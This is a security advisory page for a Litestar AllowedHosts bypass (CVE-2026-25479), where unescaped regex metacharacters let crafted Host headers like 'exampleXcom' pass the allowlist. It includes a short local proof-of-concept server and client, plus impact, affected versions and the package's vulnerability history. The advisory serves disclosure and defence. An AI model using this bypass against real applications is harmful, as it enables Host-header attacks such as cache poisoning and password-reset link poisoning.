Medium

Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns

  • Disclosed: 09.02.2026
  • Updated: 11.10.2026 13:19

Summary

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (poc_allowed_hosts_server.py)

python
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (poc_allowed_hosts_client.py)

python
import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior): Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Impact

Type: security control bypass (host allowlist) Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) litestar >= 2.19.0, < 2.20.0 2.20.0

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness (CWE)
CWE-185
Platform
Python (PyPI)
Package
litestar
Disclosed
09.02.2026
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2196 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-93ph-p7v4-hwh4 - CC BY 4.0

Vulnerability history: litestar

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (9) in the archive
Total entries
9
First → latest
05.2024 06.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 5
  • Medium 3
  • Low 1

Disclosures per year

  1. 2024: 2
  2. 2025: 2
  3. 2026: 5
Severity:
  1. High · 8.1 CVE-2026-48060 < 2.22.0 2.22.0
  2. Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns this entry
    Medium · 6.5 CVE-2026-25479 >= 2.19.0, < 2.20.0 2.20.0
  3. High · 7.5 CVE-2025-59152 >= 2.17.0, < 2.18.0 2.18.0
  4. High · 7.5 CVE-2024-52581 < 2.13.0 2.13.0
  5. High · 8.2 CVE-2024-32982 >= 2.8.0, < 2.8.3, >= 2.7.0, < 2.7.2, >= 2.0.0, < 2.6.4 2.8.3, 2.7.2, 2.6.4

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.